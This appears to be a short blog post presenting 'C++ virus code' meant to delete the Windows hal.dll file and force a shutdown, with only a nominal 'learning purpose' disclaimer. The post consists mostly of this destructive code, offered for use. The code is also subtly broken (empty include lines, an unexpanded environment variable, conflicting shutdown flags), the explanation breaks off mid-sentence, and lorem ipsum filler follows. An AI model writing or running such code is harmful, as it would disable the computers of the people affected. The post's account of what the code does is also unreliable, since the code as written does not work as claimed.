C++ virus that deletes the hal.dll file in system32

Hi in this article i will give you the c++ virus code.  Don't use for any illegal purpose.  This is just for learning purpose only.

#include
#include

using namespace std;

int main(int argc, char *argv[])
{
std::remove("%systemroot%\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}Above code will find the system32 folder and

Lorem ipsum is simply dummy text of the printing and typesetting industry.

Comments